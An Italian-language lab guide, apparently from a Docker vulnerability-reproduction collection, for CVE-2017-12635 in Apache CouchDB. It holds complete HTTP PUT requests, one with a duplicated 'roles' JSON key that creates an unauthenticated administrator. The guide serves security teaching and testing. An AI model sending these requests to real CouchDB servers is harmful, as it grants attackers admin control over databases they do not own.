
Ambiente di riproduzione basato su Docker per l'escalation verticale dei privilegi di Apache CouchDB CVE-2017-12635 tramite inconsistenza del parser JSON, che consente la creazione di un amministratore non autenticato.
Apache CouchDB è un database open source focalizzato sulla facilità d'uso e sull'essere un "database completamente abbracciato dal web". Utilizza JSON come formato di archiviazione, JavaScript come linguaggio di query e MapReduce e HTTP come API. È un database NoSQL ampiamente utilizzato, ad esempio dalla BBC per la sua piattaforma di contenuti dinamici, da Credit Suisse per il framework di mercato interno del reparto merci, e da Meebo per la sua piattaforma sociale (web e applicazioni).
Il 15 novembre 2017 sono state divulgate le vulnerabilità CVE-2017-12635 e CVE-2017-12636. La CVE-2017-12635 è dovuta alle differenze di parsing JSON tra Erlang e JavaScript, che portano a differenze nell'esecuzione delle istruzioni. Questa vulnerabilità consente a qualsiasi utente di creare un amministratore, configurandosi come una vulnerabilità di bypass dell'autorizzazione verticale.
Versioni interessate: inferiori alla 1.7.0 e inferiori alla 2.1.1
Link di riferimento:
Compilazione e avvio dell'ambiente:
docker-compose build
docker-compose up -d
Una volta avviato l'ambiente, visitando http://your-ip:5984/_utils/ si potrà vedere una pagina web, indicando che CouchDB è stato avviato con successo. Tuttavia, non conosciamo la password e non possiamo accedere.
Innanzitutto, inviare il seguente pacchetto:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
Si noti che viene restituito un errore 403: {"error":"forbidden","reason":"Only _admin may set roles"}, solo l'amministratore può impostare il ruolo:
Inviando un pacchetto contenente due ruoli, è possibile bypassare la restrizione:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
Viene creato con successo un amministratore, con nome utente e password entrambi vulhub:

Visitare nuovamente http://your-ip:5984/_utils/ e inserire le credenziali vulhub per accedere con successo:
